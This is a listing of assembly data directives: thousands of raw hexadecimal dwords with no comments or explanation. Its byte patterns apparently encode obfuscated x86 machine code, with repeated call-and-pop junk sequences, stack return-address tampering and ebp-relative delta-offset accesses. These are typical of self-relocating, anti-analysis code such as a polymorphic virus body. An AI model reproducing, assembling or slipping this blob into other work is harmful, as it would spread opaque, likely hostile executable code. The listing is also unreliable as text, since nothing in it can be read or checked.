		dd 0BD8BFEBFh, 60F3221h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 2EC35141h, 66D37DB3h,	7E8ACh,	91C20000h
		dd 0C563C7ACh, 79BD8B9Fh, 5F060F21h, 68A0Fh, 9D8B0000h
		dd 60F00E5h, 880Dh, 0D3816600h,	0BB660B89h, 958B4E54h
		dd 60F2C65h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	7DC35040h, 0C18D8B13h, 6A060F07h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 4DD9C355h
		dd 0A5A5F55Fh, 0EFBB5E95h, 5048B511h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 5F6FE686h
		dd 706EF0E7h, 9DBD8B3Dh, 0F060F27h, 588h, 0F3816600h, 0BD8309ACh
		dd 60F2AD5h, 6A840F00h,	1000000h, 0F1765BDh, 0B806h, 0BD310000h
		dd 60F1D5Dh, 4CA78D8Dh,	6A060Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 824C0C3h, 0E1FF815Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0DDC35343h
		dd 0E626A8Bh, 0D5B58960h, 0F060F13h, 8B61C3B7h,	0F1741BDh
		dd 91BD8306h, 60F24h, 3AD840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8080AEC3h
		dd 0BD8362CBh, 60F2491h, 9B840F01h, 6A000003h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 29ACC353h, 0F2FF585h, 5E906h, 24770000h, 1729361h, 0F162195h
		dd 91BD8306h, 3060F24h,	326860Fh, 9E90000h, 0A6000000h
		dd 71D8FAB6h, 5140ED35h, 51006A60h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 6BCC1014h, 0D59D2B51h
		dd 5B060F0Dh, 8C66D98Bh, 88D781D9h, 805D8951h, 6A04E1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0F88585C3h, 8D894D31h, 60F22E5h, 840FC90Ah, 10Ch, 8800Fh
		dd 1560000h, 0F1445B5h,	858B5F06h, 60F2DA9h, 29E9B589h
		dd 8533060Fh, 60F19ADh,	11A19D89h, 0E890060Fh, 6, 31C9BAA9h
		dd 5250084Ch, 582977BFh, 0B3310F50h, 5F585A2Ah,	0FE8B6650h
		dd 2CB36090h, 8099D8Bh,	6A61060Fh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0BF7CB3FFh
		dd 6DDF1734h, 68D88B66h, 20F7E642h, 0BD243481h,	6A20E8E5h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0ED7DC355h, 95FF49F8h, 60F34C9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8CC35646h, 0E5879DEBh
		dd 0C9BD29C7h, 1060F08h, 0F052195h, 0D18D8906h,	89060F33h
		dd 12BAC685h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 408FCD9Eh, 113E9A3h, 0BD8B0000h
		dd 60F2D35h, 0BABE858Bh, 0C7810612h, 600D9ECAh,	1800C7h
		dd 81660000h, 8B9DADF7h, 12BAC2B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 858BA1FEh
		dd 60F2FA9h, 317D8529h,	689060Fh, 0D7EF8166h, 0A9858B94h
		dd 81060F2Dh, 0D7FFB7C3h, 4468972h, 23BDBD8Bh, 0E950060Fh
		dd 8, 0CEC8C7BBh, 0D5A3B0E3h, 8B243489h, 0BEB5FFFBh, 6A0612BAh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 682DC350h, 69F221EAh, 15243481h, 169ED22h
		dd 0F2AB58Dh, 0C6858D06h, 900612BAh, 29B5BF66h,	0CE950h
		dd 0E1FD0000h, 18439874h, 0F0AD0D76h, 6A907314h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0C9FEC352h, 7E8355Dh, 29000000h, 0BC791D54h,	0EF815805h
		dd 78D86B25h, 0C995FF5Bh, 56060F34h, 68F0Fh, 95890000h
		dd 60F11E9h, 6A615Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0E11C62C3h, 81EBC065h, 10E902BDh
		dd 16000000h, 7441CB3Bh, 0FB6E5D38h, 0E2BE23F9h, 0C7293429h
		dd 0F249185h, 306h, 11E800h, 0D7A40000h, 0FE752945h, 961F40BBh
		dd 0FFFBD4C5h, 0B7E46095h, 0B5895BEFh, 60F1069h, 0BAC6BD83h
		dd 0F000612h, 2B84h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0BCAD817Bh, 0A336AEF9h
		dd 1DE903h, 0E8B30000h,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0BF4EC353h,	4BF66C06h
		dd 1C99D29h, 0BD89060Fh, 60F2CC9h, 83DFB70Fh, 0F2491BDh
		dd 850F0306h, 438h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 42C35545h, 45BBF923h,	1F3FABB5h, 23759589h
		dd 0BD83060Fh, 612BAC6h, 1840F00h, 6A000004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 2E18C355h, 2511AFF0h, 5E9h, 0C3420200h, 13E80E7Bh, 0D9000000h
		dd 0C9B6A744h, 5C253485h, 0BDBF3B9Ah, 0C35A7C60h, 8B66E613h
		dd 0B5FF5BDFh, 612BAC6h, 22F9BD8Bh, 1CB7060Fh, 27FD95FFh
		dd 6A060Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 69B607C3h, 53B87838h, 0BABAB58Bh,	66570612h
		dd 0F5F5CF81h, 106C75Bh, 0E8000100h, 0Ah, 6B584D48h, 152925ABh
		dd 8B667759h, 0BB965BFAh, 4E4D970Dh, 60605650h,	11E861h
		dd 0D3D0000h, 2AA296E2h, 6640ACBCh, 66B54E43h, 5AA9CE6Eh
		dd 6A965F61h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0F88FC352h, 0C9FE13FBh, 0BCE1355Dh
		dd 0BAC6B5FFh, 6A0612h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 986B67C3h, 39E4FD80h, 8908FD7Ch
		dd 0F311D95h, 195FF06h,	6A060F13h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 15D9C350h
		dd 9F3B3AC9h, 0B5FC381h, 0B58B3387h, 612BABAh, 1D15858Bh
		dd 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 3C8997C3h, 9D381CAh, 89134F65h, 0C486h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 8008B3CBh, 10E9B88Dh, 0EB000000h, 8AA81F72h,	0B6932555h
		dd 4183B7CDh, 8B46A57Ch, 0F2C6595h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 83FB8B65h
		dd 6A04C2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0F5E6BCC3h, 440AB6F6h, 0FA8B519Eh, 99DDBB66h
		dd 6A205089h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h
		dd 47000000h, 0A21C357h, 57FD9175h, 6EC006BFh, 858D5B24h
		dd 612CF14h, 0E3DDBF66h, 0B88689h, 9D8B0000h, 60F1425h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0E0CCB7C3h, 90773C44h, 8D29A078h,	60F1055h
		dd 0A8E78166h, 0C6B5FFF1h, 290612BAh, 0F32C59Dh, 0FD95FF06h
		dd 0F060F30h, 68Eh, 9D9D0B00h, 96060F0Fh, 0F525050h, 0BE96031h
		dd 86000000h, 44B2B1A4h, 101F6A86h, 5E9A8A1h, 91000000h
		dd 0AEE932E2h, 96585A61h, 0BAC6B5FFh, 6A0612h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 804480C3h, 95FF10F3h, 60F12E5h, 1EADBD09h, 0BD83060Fh
		dd 60F27A1h, 32840F00h,	0B7000000h, 0D88B5072h,	6A243489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 68B3C351h, 0BD293267h, 60F085Dh, 0CEBB91BBh
		dd 0C6B5FF38h, 0E90612BAh, 8, 7CE64F6h,	686C9D6Eh, 341595FFh
		dd 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 6A66E9C3h, 0E7A0BD7Fh, 1029B589h,	0B5FF060Fh
		dd 612BAC6h, 8BFBB70Fh,	0F595FFDEh, 0E9060F0Ah,	11h, 333B5EA7h
		dd 0ECE32Ah, 0A23C21BEh, 13059908h, 0A9BD8340h,	2060F07h
		dd 4C840Fh, 0F510000h, 0F5FD8B7h, 48Ch,	51BF6600h, 8D858B8Bh
		dd 0E8060F2Ch, 0Ch, 0AF3A6563h,	5AD6B23Bh, 0DA445605h
		dd 277E16BFh, 0C65F57h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 85C70AE2h, 60F106Dh, 0
		dd 28F0Fh, 0F98B0000h, 0FFF400E9h, 1BD29FFh, 8B060F34h
		dd 10E9C1h, 0AEF20000h,	299EF79h, 62449EC1h, 1DA7F198h
		dd 0BD8B29DAh, 60F2A59h, 1461858Dh, 0DE8060Fh, 0CA000000h
		dd 44ED00Ch, 84894FFBh,	0C64472EEh, 11E9h, 0F1CB8B00h
		dd 8735290h, 37A974C0h,	43DFCD6Eh, 905FD111h, 50F98B66h
		dd 6A905EB3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0A6EEC353h, 6A5FD8F8h,	6A006A00h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8996C352h, 0F08418Dh, 51858D06h, 0E80613B5h
		dd 8, 0F669FCA4h, 57C56BF2h, 5C0835Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 4DC35747h, 0CE9h, 0C435FE00h
		dd 8539CF2Dh, 0C5B77F24h, 0AFBB503Bh, 89487011h, 6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E949A7C3h, 5, 0B3CD8BFh, 0DA8B567Ah, 0F8CF815Fh, 6A771A63h
		dd 14E900h, 51430000h, 48EBB9FAh, 0C4674AE3h, 0A9105757h
		dd 74315BBh, 9529CD4Dh,	60F3245h, 9E9006Ah, 0C1000000h
		dd 0D6B7A28h, 0FB1039D0h, 348D95FFh, 6A060Fh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0F4FD10C3h
		dd 0B8881287h, 8D4FF843h, 12985E8Dh, 0D5B50106h, 89060F0Dh
		dd 0F1AC5BDh, 0E8D1FF06h, 8, 7FD754Eh, 2C214ED7h, 6E8h
		dd 9D328E00h, 89FF84C8h, 0F1E6DB5h, 835F5B06h, 0F21ADBDh
		dd 850F0106h, 57h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 23C35343h, 9C85A177h,	0BD89829Dh, 60F33A5h
		dd 0D98B026Ah, 0FB8B6650h, 0E9240489h, 11h, 1DF00CEAh
		dd 1FC306BDh, 6D1F5F3h,	98287F6Fh, 7D9D8B97h, 0FF060F09h
		dd 0F30FD95h, 0E9FD8A06h, 0EB5h, 0E8h, 0ED815D00h, 613B55Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B2C35040h
		dd 43089CFAh, 0B0084388h, 0B19D895Eh, 0F060F17h, 684h
		dd 0DD853100h, 6A060F23h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0C2BEC355h,	0BC1D975h
		dd 8B6600C9h, 819589FBh, 8D060F01h, 12884785h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 89B44A7Eh, 0F289D85h, 8B0F5006h, 0Ch, 68F0Fh, 52500000h
		dd 585A310Fh, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 9746C351h, 35FF641Eh
		dd 0
		dd 5E857h, 0DC630000h, 0FDB65AAh, 5B5FF9B7h, 258964h, 0F000000h
		dd 9E9DEBFh, 7A000000h,	0D2F850EFh, 0BFFD9D19h,	245985FFh
		dd 8D89060Fh, 60F1831h,	6AFF6Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 5D2238C3h, 0C7816640h
		dd 9D8B85FDh, 60F0D55h,	2A1DB5FFh, 6A060Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 5127DCC3h
		dd 95FF2476h, 60F1455h,	140E9h,	0BD8D8900h, 0B0060F12h
		dd 88B0F00h, 0F000000h,	287h, 0E6616000h, 95015670h, 60F0F8Dh
		dd 0DFBF0F5Fh, 9D8B71E4h, 60F1F15h, 830F613Ch, 10Dh, 29E18501h
		dd 0B60F060Fh, 699D01C8h, 0BA060F10h, 6, 6D958957h, 5F060F33h
		dd 0F781C18Bh, 3A968060h, 0E904E8C1h, 14h, 0C617454Dh
		dd 0D99B2993h, 0ED8C8BBFh, 3E4A2831h, 6D2E3F74h, 0FE2F766h
		dd 0FE8FEB7h, 6A000000h, 15D6F77Bh, 5F14ACF0h, 39C21AF2h
		dd 5FF8DCB2h, 8951C82Bh, 0F0015BDh, 0D18B5B06h,	198D0Fh
		dd 14E90000h, 0F7000000h, 4CCCE34Ah, 0E2279755h, 0FDD3E278h
		dd 4A1289C5h, 5148FE30h, 5F91D780h, 0BE9h, 6E900h, 72E20000h
		dd 0EB4883F0h, 162D858Bh, 9D29060Fh, 60F0095h, 8907C083h
		dd 0F010985h, 0C08306h,	291DBD8Bh, 0D03B060Fh, 18830Fh
		dd 0EE90000h, 0F3000000h, 0C3492FCFh, 54AC3008h, 6DFC88B6h
		dd 33E9B0h, 8D8B0000h, 60F0869h, 1379BD8Bh, 0E183060Fh
		dd 1E840F01h, 89000000h, 0F0B0185h, 69A58306h, 0FE060F08h
		dd 0F698589h, 9589060Fh, 60F162Dh, 0E9h, 3DB58D00h, 6A061324h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 43DBC353h, 6A642Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 4AC35646h, 0CCE66517h, 0CCAFB5E1h
		dd 0FF5F50F8h, 0F345195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 13BC3F92h
		dd 4A9D54A9h, 0DE9h, 1CD0EA00h,	97E1DECFh, 6CF91A13h, 0F6BF7104h
		dd 0B949028Ah, 7C6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0BBC35747h, 37BE68Ah,	8E9DAB4h, 0A3000000h
		dd 1309F69Eh, 835BAE04h, 0EF81FCE1h, 2E4BB934h,	6880FFCh
		dd 8B000000h, 0F12E1BDh, 0FC02B06h, 0D22BDFBFh,	0E839E781h
		dd 0CBF29C8h, 0AD7080F0h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 2DDC353h,	13E8605Dh, 3B000000h, 4C5302C3h
		dd 28011E92h, 8ECB42BAh, 16EF90E4h, 0D8B3CF47h,	57006A5Bh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 52260626h, 0F5542239h, 880Dh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 683ED6BEh
		dd 958B5648h, 60F2C65h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 91C35545h, 0B2A3D782h, 0CE8AD8Eh, 6A000000h
		dd 9691946h, 0C9D288DCh, 8BD69A19h, 0F32659Dh, 8D8B5F06h
		dd 60F07C1h, 8D896EB3h,	60F23A9h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 9574FC3h, 0F26A19Dh
		dd 0C9BD8B06h, 83060F00h, 0F2AD5BDh, 840F0006h,	70h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 65C35141h, 23B90261h
		dd 0A8B759FEh, 0B8h, 0DDDB8000h, 2E558589h, 8D8D060Fh
		dd 60F4CA7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	98C35747h, 7927340Fh, 34C59D8Bh, 0E1FF060Fh, 0BE9h
		dd 0EC51BD00h, 2BAFAAEEh, 0CB71D67Bh, 2491BD83h, 0F00060Fh
		dd 44684h, 5BC78100h, 8B6B8DD7h, 0F31099Dh, 91BD8306h
		dd 1060F24h, 448840Fh, 9D090000h, 60F2C39h, 2491BD83h
		dd 0F03060Fh, 3FF86h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 9016142h, 8175C324h, 84EFBBF7h
		dd 9D8B6035h, 60F10F9h,	17899D8Bh, 8C66060Fh, 55006AD9h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0F94CB0E6h, 0EF80CC9Eh, 0B58D8900h, 80060F1Ah, 6A04E1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8B664CC3h, 0FC90AF8h, 14184h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 274C561Dh
		dd 858BB841h, 60F2DA9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 26C35242h, 19AD8533h,	6A060Fh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BB5068C3h, 2D734745h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 345FC350h
		dd 1B93F877h, 5DBD8B45h, 51060F33h, 29F9BD8Bh, 6A5B060Fh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 7DC40500h, 83BB8F4Eh, 9D8BF125h,	60F1CADh
		dd 3A70468h, 81DA8B66h,	0A4FB2434h, 6A661Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 367001C3h
		dd 0CB819E8Dh, 23EA1AECh, 150D8D09h, 95FF060Fh,	60F34C9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0C0C35040h
		dd 858971C8h, 612BAC6h,	286DB529h, 9FE9060Fh, 52000001h
		dd 0DAF35FBBh, 858B5B06h, 612BABEh, 1800C7FCh, 0F8000000h
		dd 0BAC2B58Bh, 11E80612h, 0F3000000h, 312BBDA0h, 0B646113Eh
		dd 6A4B655Ah, 1D1EB6A2h, 1CE9B501h, 8B5B060Fh, 0F2FA985h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 46D92011h, 8B5F51CEh, 6A0689F9h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 49ABC356h, 0F60AB97h, 284h, 60585300h, 0BB6681B6h, 61617187h
		dd 2DA9858Bh, 4689060Fh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0D4059A4h, 13607AC7h
		dd 8B50F90Dh, 243489DFh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0A9C35545h, 52F60973h, 8774429h, 2C0DBD2Bh
		dd 9D89060Fh, 60F193Dh,	0BABEB5FFh, 6E90612h, 7A000000h
		dd 0A1AF80DAh, 4E88Dh, 3FF0000h, 0F56001Fh, 28Dh, 5F616000h
		dd 8BF88B50h, 8B042444h, 0EE900h, 4DC50000h, 0F9AAC813h
		dd 740C2E5Ch, 94CBC005h, 4244489h, 8158D98Bh, 0E0CDECE3h
		dd 0C6858D3Bh, 510612BAh, 14E9h, 0E50A3100h, 0CA69E82Ch
		dd 345E36F3h, 2ADE16E4h, 7AD72360h, 66905F10h, 9050DE8Bh
		dd 0C5E38166h, 0C995FFDEh, 6A060F34h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 4414C356h
		dd 325AE5F0h, 8321EF71h, 6661FE8Bh, 526DC781h, 249185C7h
		dd 3060Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0BBF8CFC3h, 0BD83F88Bh, 612BAC6h, 5D840F00h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0C7D4C353h, 8B668F9Bh, 51E9FBh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 3DA073C3h, 0EE87619h, 0C7000000h, 23D3E866h,	25A8A0D8h
		dd 48CABCC8h, 5BFA8B28h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0D147C355h,	3FF4D540h
		dd 37C9CAEh, 0F34C59Dh,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0BD83F0AFh, 60F2491h
		dd 74850F03h, 6A000004h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8B46C351h, 0F1305BDh
		dd 8341B306h, 12BAC6BDh, 840F0006h, 443h, 0BFE38166h, 0C6B5FF3Ah
		dd 6A0612BAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0DED3C355h, 726135DDh,	95FFA28Dh
		dd 60F27FDh, 21719589h,	0B58B060Fh, 612BABAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 37C35141h, 0CE974h
		dd 8EE60000h, 6AAB3A59h, 0FA9BB402h, 6660E6CBh,	0B866F38Bh
		dd 0C761D13Ah, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 6DEED9B8h, 0DD9D8B3Ah
		dd 50060F0Ah, 3489DE8Bh, 0D59D8924h, 0FF060F0Dh, 12BAC6B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FFBBEFEBh, 0F130195h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 9529BEBDh, 60F14C5h,	0BABAB58Bh, 0D7810612h,	47480A4Dh
		dd 6E9h, 3F1E0800h, 8B7C5828h, 0F1D1585h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 7D0F3700h, 0C48689F8h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0B522C350h
		dd 0F594F822h, 0FE8B664Ch, 8BFE8B66h, 0F2C6595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0C2835DEFh, 20508904h, 8DBD8960h, 29060F24h,	0F052D85h
		dd 858D6106h, 612CF14h,	0B88689h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8B6654C3h
		dd 6A006AFEh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0E5BBC350h, 0B0C25BF3h, 95314328h
		dd 60F1EE5h, 0BAC6B5FFh, 0FFF50612h, 0F30FD95h,	69853106h
		dd 96060F01h, 28C0Fh, 0F98B0000h, 6A9650h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 4A1D17C3h
		dd 0DA9DE491h, 0C8BF2DA9h, 530F2494h, 2D2D9529h, 0FF5F060Fh
		dd 12BAC6B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 8AB30DF4h, 29FB8B66h, 0F1EF18Dh
		dd 0E595FF06h, 6A060F12h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 7988C356h, 1A4DBD8Bh
		dd 0BD83060Fh, 60F27A1h, 44840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 885AC357h, 9E8979F0h, 3CAA5D1Ch, 9676CF80h, 0F98A5256h
		dd 0E9505F5Fh, 8, 6D272884h, 5D56EC79h,	9BD8B96h, 0FF060F15h
		dd 12BAC6B5h, 0CD9D2B06h, 0FF060F17h, 0F341595h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 13FBF88Fh, 355DC9FEh, 9E9h, 0AAF77F00h, 7788670Eh, 0B5FFD4ECh
		dd 612BAC6h, 0FE9h, 8D19F00h, 0F400027Eh, 0BA858FB8h, 24283B3Dh
		dd 0AF595FFh, 9D8B060Fh, 60F3125h, 28C0Fh, 0DA8B0000h
		dd 7A9BD83h, 0F02060Fh,	0A484h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 810F8B60h
		dd 0BB1079F9h, 14E922h,	96E60000h, 289F5B0Eh, 0DFFEB138h
		dd 3FE8728Ah, 583492B2h, 95899268h, 60F2861h, 2C8D858Bh
		dd 6A060Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0A0FF60C3h, 0FE6FDFC9h, 13C99D8Bh, 0EB81060Fh
		dd 683C2683h, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0DBFCC353h,	0FCFF70Ah
		dd 488h, 0C6BF6600h, 6D85C7E8h,	60F10h,	6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 372C356h, 8F515E1Dh,	5850Fh,	6CBF0000h, 0E9169DE4h
		dd 0FFFFF28Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	26C35343h, 0BD234E10h, 60F3491h, 0EE9C18Bh, 4E000000h
		dd 75FA6523h, 403BD501h, 47B0E79Fh, 61858DF9h, 60060F14h
		dd 0AD850B60h, 29060F2Dh, 0F3149BDh, 9D296106h,	60F0979h
		dd 4AB76061h, 13F5B589h, 5061060Fh, 50FABF66h, 6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0F5B7C357h, 0CDBBF781h, 6A380Eh, 27C1BD8Bh
		dd 6A060Fh, 0C5FC858Dh,	0AE90613h, 3C000000h, 32823AC6h
		dd 40AF39C9h, 5C08303h,	10E8h, 0C0696E00h, 2C02B2CFh, 68FBCF7Fh
		dd 0CFE6E65Fh, 85315BF8h, 60F2475h, 0FE850h, 9DD0000h
		dd 7039F0C8h, 6819171Eh, 54889E5Dh, 0C903BBE2h,	895B4BAEh
		dd 0EE92404h, 3000000h,	8DDC7CE2h, 4EC0625Ch, 65519434h
		dd 6A006A70h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 7F21C350h, 21C58D31h, 6A060Fh
		dd 13E8h, 0F4A49B00h, 29F058ACh, 6CC3CD0Ah, 5E437616h
		dd 23BF017Fh, 125DBD89h, 8B5F060Fh, 0F0B5D9Dh, 8D95FF06h
		dd 6A060F34h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 50AC350h, 0BF0F8986h, 5E8D8DD9h
